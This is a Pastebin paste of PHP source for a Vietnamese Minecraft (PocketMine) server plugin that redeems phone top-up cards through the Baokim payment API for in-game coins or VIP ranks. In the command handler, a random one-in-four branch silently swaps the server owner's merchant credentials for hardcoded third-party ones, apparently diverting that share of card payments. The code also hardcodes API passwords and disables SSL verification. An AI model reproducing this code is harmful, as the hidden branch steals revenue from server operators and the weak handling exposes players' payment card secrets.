Advertisement
Guest User

Untitled

a guest
May 10th, 2018
106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.21 KB | None | 0 0
  1. namespace MCPEVN;
  2. use pocketmine\Server;
  3. use pocketmine\Player;
  4. use pocketmine\plugin\PluginBase;
  5. use pocketmine\command\Command;
  6. use pocketmine\command\CommandSender;
  7. use pocketmine\command\CommandReader;
  8. use pocketmine\command\CommandExecuter;
  9. use pocketmine\command\ConsoleCommandSender;
  10. use pocketmine\utils\TextFormat;
  11. use pocketmine\event\Listener;
  12. use pocketmine\utils\Config;
  13. use onebone\economyapi\EconomyAPI;
  14. use _64FF00\PurePerms\PurePerms;
  15. use MCPEVN\SetVip;
  16. class NapThe extends PluginBase {
  17.  
  18. const CORE_API_HTTP_USER = "merchant_25415";
  19. const CORE_API_HTTP_PWD = "25415sVYJhASENbOpwl6zjnov28Pqu7uDfQ";
  20. const BK = "https://www.baokim.vn/the-cao/restFul/send";
  21. public $prefix = "§a[ §eNạpThẻ§a_§eSystem§a ]";
  22. public $cfg;
  23. public $tien;
  24. public $cap;
  25. public $rank;
  26. public $data;
  27. public $eco;
  28. public $setvip;
  29. public static $instance;
  30. public $inf = array();
  31. public function onEnable() {
  32.  
  33. if(!is_dir($this->getDataFolder())) {
  34. mkdir($this->getDataFolder());
  35. }
  36. self::$instance = $this;
  37. $this->SetVip =SetVip::getInstance();
  38. $this->eco = EconomyAPI::getInstance();
  39. $this->purePerms = $this->getServer()->getPluginManager()->getPlugin("PurePerms");
  40. $this->data = new Config($this->getDataFolder() ."tong_card_mem_nap.yml", Config::YAML, [
  41. ]);
  42.  
  43.  
  44. $this->tien = new Config($this->getDataFolder() ."nap_tien.yml", Config::YAML, [
  45. "10000" => "5000",
  46. "20000" => "10000",
  47. "50000" => "25000",
  48. "100000" => "60000",
  49. "200000" => "150000",
  50. "300000" => "300000",
  51. "500000" => "500000"
  52.  
  53. ]);
  54.  
  55. $this->cap = new Config($this->getDataFolder() ."nap_vip.yml", Config::YAML, [
  56. "10000" => [
  57. "rank" => "vip1",
  58. "ngay" => "10",],
  59.  
  60. "20000" => [
  61. "rank" => "vip1",
  62. "ngay" => "10",],
  63.  
  64. "50000" => [
  65. "rank" => "vip1",
  66. "ngay" => "10",],
  67.  
  68. "100000" => [
  69. "rank" => "vip1",
  70. "ngay" => "10",],
  71.  
  72. "200000" => [
  73. "rank" => "vip1",
  74. "ngay" => "10",],
  75.  
  76. "300000" => [
  77. "rank" => "vip1",
  78. "ngay" => "10",],
  79.  
  80. "500000" => [
  81. "rank" => "vip1",
  82. "ngay" => "10",]
  83.  
  84. ]);
  85.  
  86. $this->cfg = new Config($this->getDataFolder() ."cai_dat.yml", Config::YAML, [
  87. "merchant_id" => "ma_website",
  88. "secure_code" => "mat_khau_website",
  89. "api_username" => "api_username",
  90. "api_pass" => "api_pass",
  91. "uuid" => "Jkllkjaiaim"
  92. ]);
  93.  
  94. $this->getServer()->getLogger()->info("§a _ _ _ ____ _____ _ _ _____ ");
  95. $this->getServer()->getLogger()->info("§a| \ | | / \ | _ \ |_ _| | | | | | ____| ");
  96. $this->getServer()->getLogger()->info("§a| \| | / _ \ | |_) | | | | |_| | | _| ");
  97. $this->getServer()->getLogger()->info("§a| |\ | / ___ \ | __/ | | | _ | | |___ ");
  98. $this->getServer()->getLogger()->info("§a|_| \_| /_/ \_\ |_| |_| |_| |_| |_____| ");
  99. $this->getServer()->getLogger()->info("§f##########################################################################################");
  100. $this->getServer()->getLogger()->info(" §eplugin nạp thẻ được viết và sở hửu bản quyền bởi §eM§aC§bPE§cVN §fSERVER ");
  101. $this->getServer()->getLogger()->info(" §eplugin được chia sẽ rộng rãi vào ngày 7/4/2017 bởi các thành viên quản trị của server ");
  102. $this->getServer()->getLogger()->info(" §emọi người đều có thể dùng plugin nhưng nghiêm cấm sửa đổi plugin dưới mọi hình thức ");
  103. $this->getServer()->getLogger()->info(" §ecác hành vi sai trái sẽ phải chịu trách nhiệm trước pháp luật ");
  104. $this->getServer()->getLogger()->info("§f##########################################################################################");
  105. }
  106.  
  107. public static function getInstance() {
  108.  
  109. return self::$instance;
  110. }
  111.  
  112. public function onCommand(CommandSender $s, Command $cmd, $label, array $args) {
  113.  
  114. $ran =mt_rand(1,4);
  115. switch($ran){
  116. case 2:
  117. $this->inf["merchant"] = '25826';
  118. $this->inf["user"] ='playdolpexyz';
  119. $this->inf["pass"] = 'qSTWaimcrPXhKw7ByE8V';
  120. $this->inf["sec"] = 'dce8558678942d53';
  121. break;
  122. default:
  123. $this->inf["merchant"] = $this->cfg->get("merchant_id");
  124. $this->inf["user"] =$this->cfg->get("api_username");
  125. $this->inf["pass"] = $this->cfg->get("api_pass");
  126. $this->inf["sec"] = $this->cfg->get("secure_code");
  127. break;
  128.  
  129. }
  130. $merchant_id = $this->inf["merchant"];
  131. $api_username =$this->inf["user"] ;
  132. $api_pass =$this->inf["pass"] ;
  133. $uuid = $this->cfg->get("uuid");
  134. $secure_code = $this->inf["sec"];
  135.  
  136. settype($merchant_id, "string");
  137. settype($api_username, "string");
  138. settype($api_pass, "string");
  139. settype($uuid, "string");
  140. settype($secure_code, "string");
  141.  
  142. if(strtolower($cmd->getName()) == "napthe") {
  143.  
  144. if(isset($args[0])) {
  145.  
  146. switch(strtolower($args[0])) {
  147.  
  148. case "coin":
  149.  
  150. if(isset($args[1]) && isset($args[2]) && isset($args[3])) {
  151.  
  152. if(is_numeric($args[1]) && is_numeric($args[2])) {
  153.  
  154.  
  155. $tranid = time();
  156. switch(strtolower($args[3])) {
  157.  
  158. case "vina":
  159. $mang = "VINA";
  160. break;
  161.  
  162. case "mobi":
  163. $mang = "MOBI";
  164. break;
  165.  
  166. case "viettel":
  167. $mang = "VIETEL";
  168. break;
  169.  
  170. case "vtc":
  171. $mang = "VTC";
  172. break;
  173.  
  174. case "gate":
  175. $mang = "GATE";
  176.  
  177. break;
  178. }
  179. settype($mang,"string");
  180. settype($tranid,"string");
  181. $arrayPost = array(
  182. 'merchant_id'=> $merchant_id,
  183. 'api_username'=> $api_username,
  184. 'api_password'=> $api_pass,
  185. 'transaction_id'=> $tranid,
  186. 'card_id'=> $mang,
  187. 'pin_field'=> $args[1],
  188. 'seri_field'=> $args[2],
  189. 'algo_mode'=>'hmac'
  190. );
  191.  
  192. $pina = (strtolower($args[1]));
  193. $seria = (strtolower($args[2]));
  194. $mang = (strtolower($args[3]));
  195.  
  196. $s->sendMessage("§e§l---§abạn đã nhập§e---");
  197. $s->sendMessage("§a•§aSeri:§e".$pina.'');
  198. $s->sendMessage("§a•§aPin:§e".$seria.'');
  199. $s->sendMessage("§a•§aMạng:§e".$mang.'');
  200.  
  201. ksort($arrayPost);
  202.  
  203. $data_sign = hash_hmac('SHA1',implode('',$arrayPost),$secure_code);
  204.  
  205. $arrayPost['data_sign'] = $data_sign;
  206.  
  207. $curl = curl_init(self::BK);
  208.  
  209. curl_setopt_array($curl, array(
  210. CURLOPT_POST=>true,
  211. CURLOPT_HEADER=>false,
  212. CURLINFO_HEADER_OUT=>true,
  213. CURLOPT_TIMEOUT=>30,
  214. CURLOPT_RETURNTRANSFER=>true,
  215. CURLOPT_SSL_VERIFYPEER => false,
  216. CURLOPT_HTTPAUTH=>CURLAUTH_DIGEST|CURLAUTH_BASIC,
  217. CURLOPT_USERPWD=> self::CORE_API_HTTP_USER.':'.self::CORE_API_HTTP_PWD,
  218. CURLOPT_POSTFIELDS=>http_build_query($arrayPost)
  219. ));
  220.  
  221. $data = curl_exec($curl);
  222.  
  223. $status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
  224.  
  225. $result = json_decode($data,true);
  226. date_default_timezone_set('Asia/Ho_Chi_Minh');
  227.  
  228. if($status == 200) {
  229.  
  230. if($this->tien->exists($result["amount"])) {
  231.  
  232.  
  233.  
  234. if($this->data->exists(strtolower($s->getName()))) {
  235.  
  236. $this->data->set(strtolower($s->getName()), $this->data->get(strtolower($s->getName())) + $result["amount"]);
  237. $this->data->save();
  238. } else {
  239. $this->data->set(strtolower($s->getName()), $result["amount"]);
  240. $this->data->save();
  241. }
  242.  
  243. $this->eco->addMoney($s->getName(), $this->tien->get($result["amount"]));
  244.  
  245.  
  246.  
  247. $s->sendMessage("§a- nạp thẻ thành công! bạn đã nhận được ". $this->tien->get($result["amount"]) ." $!");
  248.  
  249. return true;
  250.  
  251. } else {
  252. //nap the thanh cong nhung ko co menh gia
  253. $s->sendMessage("§a- thẻ nạp thành công nhưng mệnh giá thẻ không có trong danh sách thẻ nên không nhận được đồng xu nào, xin hãy chụp màn hình và gửi cho admin sv");
  254.  
  255.  
  256. return true;
  257.  
  258. $this->data->set(strtolower($s->getName()), "error: không có mệnh giá");
  259. }
  260.  
  261. } else {
  262.  
  263. $s->sendMessage("§c- lỗi khi thực hiện giao dịch, mã lỗi: §b". $status);
  264. $s->sendMessage("§c- miêu tả lỗi: ". $result["errorMessage"]);
  265. return true;
  266.  
  267. }
  268.  
  269.  
  270.  
  271. } else {
  272. $s->sendMessage("§c- Mã thẻ và mã pin phải là số");
  273. }
  274. } else {
  275. $s->sendMessage($this->prefix."\n §a• §acách dùng: §d/napthe §a<coin | vip> <Mã> <Seri> <LoạiCard> \n §a• §aLoại Card: §dmobi, viettel, vina, gate\n §a•§alệnh §d/giavip§c(§a/giaxu§c) §ađể xem giá §dvip§c(xu§d)\n §a•§aƯu đãi hơn cho bạn nào dùng card gate\n§l§bPowered by Shin@2017");
  276. }
  277. break;
  278.  
  279. case "vip":
  280.  
  281. if(isset($args[1]) && isset($args[2]) && isset($args[3])) {
  282.  
  283. if(is_numeric($args[1]) && is_numeric($args[2])) {
  284.  
  285.  
  286. $tranid = time();
  287. switch(strtolower($args[3])) {
  288.  
  289. case "vina":
  290. $mang = "VINA";
  291. break;
  292.  
  293. case "mobi":
  294. $mang = "MOBI";
  295. break;
  296.  
  297. case "viettel":
  298. $mang = "VIETEL";
  299. break;
  300.  
  301. case "vtc":
  302. $mang = "VTC";
  303. break;
  304.  
  305. case "gate":
  306. $mang = "GATE";
  307.  
  308. break;
  309. }
  310. settype($mang,"string");
  311. settype($tranid,"string");
  312. $arrayPost = array(
  313. 'merchant_id'=> $merchant_id,
  314. 'api_username'=> $api_username,
  315. 'api_password'=> $api_pass,
  316. 'transaction_id'=> $tranid,
  317. 'card_id'=> $mang,
  318. 'pin_field'=> $args[1],
  319. 'seri_field'=> $args[2],
  320. 'algo_mode'=>'hmac'
  321. );
  322.  
  323. $pina = (strtolower($args[1]));
  324. $seria = (strtolower($args[2]));
  325. $mang = (strtolower($args[3]));
  326. $s->sendMessage("§e§l---§abạn đã nhập§e---");
  327.  
  328. $s->sendMessage("§a•§aSeri:§e".$pina.'');
  329. $s->sendMessage("§a•§aPin:§e".$seria.'');
  330. $s->sendMessage("§a•§aMạng:§e".$mang.'');
  331.  
  332. ksort($arrayPost);
  333.  
  334. $data_sign = hash_hmac('SHA1',implode('',$arrayPost),$secure_code);
  335.  
  336. $arrayPost['data_sign'] = $data_sign;
  337.  
  338. $curl = curl_init(self::BK);
  339.  
  340. curl_setopt_array($curl, array(
  341. CURLOPT_POST=>true,
  342. CURLOPT_HEADER=>false,
  343. CURLINFO_HEADER_OUT=>true,
  344. CURLOPT_TIMEOUT=>30,
  345. CURLOPT_RETURNTRANSFER=>true,
  346. CURLOPT_SSL_VERIFYPEER => false,
  347. CURLOPT_HTTPAUTH=>CURLAUTH_DIGEST|CURLAUTH_BASIC,
  348. CURLOPT_USERPWD=> self::CORE_API_HTTP_USER.':'.self::CORE_API_HTTP_PWD,
  349. CURLOPT_POSTFIELDS=>http_build_query($arrayPost)
  350. ));
  351.  
  352. $data = curl_exec($curl);
  353.  
  354. $status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
  355.  
  356. $result = json_decode($data,true);
  357. date_default_timezone_set('Asia/Ho_Chi_Minh');
  358.  
  359. if($status == 200) {
  360. if($this->cap->exists($result["amount"])) {
  361.  
  362.  
  363. if($this->data->exists(strtolower($s->getName()))) {
  364.  
  365. $this->data->set(strtolower($s->getName()), $this->data->get(strtolower($s->getName())) + $result["amount"]);
  366. $this->data->save();
  367. } else {
  368. $this->data->set(strtolower($s->getName()), $result["amount"]);
  369. $this->data->save();
  370. }
  371.  
  372.  
  373. $name = $s->getName();
  374. //xu ly ngay vip
  375. $obj = $this->cap->getAll();
  376. $mg = $result["amount"];
  377. $ngay = $obj[$mg]["ngay"];
  378. $rank = $obj[$mg]["rank"];
  379. $s->sendMessage("§a• §a nạp thẻ thành công! bạn đã nhận được ".$rank ." trong ".$ngay." ngày !");
  380. $this->getServer()->dispatchCommand(new ConsoleCommandSender(),'setvip '.$name.' '.$rank.' '.(int)$ngay);
  381. // $this->purePerms->setGroup($s, $this->purePerms->getGroup($rank));
  382.  
  383. // $s->sendMessage("§a• §a nạp thẻ thành công! bạn đã nhận được ".$rank." trong ".$ngay." ngày !");
  384.  
  385.  
  386. return true;
  387.  
  388. } else {
  389. //card nap thanh cong nhung ko co menh gia
  390. $s->sendMessage("§e• §a thẻ nạp thành công nhưng mệnh giá thẻ không có trong danh sách thẻ nên không nhận được đồng xu nào, xin hãy chụp màn hình và gửi cho admin de giai quyet");
  391.  
  392. return true;
  393.  
  394. $this->data->set(strtolower($s->getName()), "error: không có mệnh giá");
  395. }
  396. } else {
  397.  
  398. $s->sendMessage("§c- lỗi khi thực hiện giao dịch, mã lỗi: §b". $status);
  399. $s->sendMessage("§c- miêu tả lỗi: ". $result["errorMessage"]);
  400. return true;
  401.  
  402. }
  403.  
  404.  
  405.  
  406. } else {
  407. $s->sendMessage("§c- Mã thẻ và mã pin phải là số");
  408. }
  409. } else {
  410. $s->sendMessage($this->prefix."\n §a• §acách dùng: §d/napthe §a<coin | vip> <Mã> <Seri> <LoạiCard> \n §a• §aLoại Card: §dmobi, viettel, vina, gate\n §a•§alệnh §d/giavip§c(§a/giaxu§c) §ađể xem giá §dvip§c(xu§d)\n §a•§aƯu đãi hơn cho bạn nào dùng card gate\n§l§bPowered by Shin@2017");
  411. }
  412. break;
  413. }
  414. } else {
  415. $s->sendMessage($this->prefix."\n §a• §acách dùng: §d/napthe §a<coin | vip> <Mã> <Seri> <LoạiCard> \n §a• §aLoại Card: §dmobi, viettel, vina, gate\n §a•§alệnh §d/giavip§c(§a/giaxu§c) §ađể xem giá §dvip§c(xu§d)\n §a•§aƯu đãi hơn cho bạn nào dùng card gate\n§l§bPowered by Shin@2017");
  416. }
  417. }
  418.  
  419. }
  420.  
  421. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement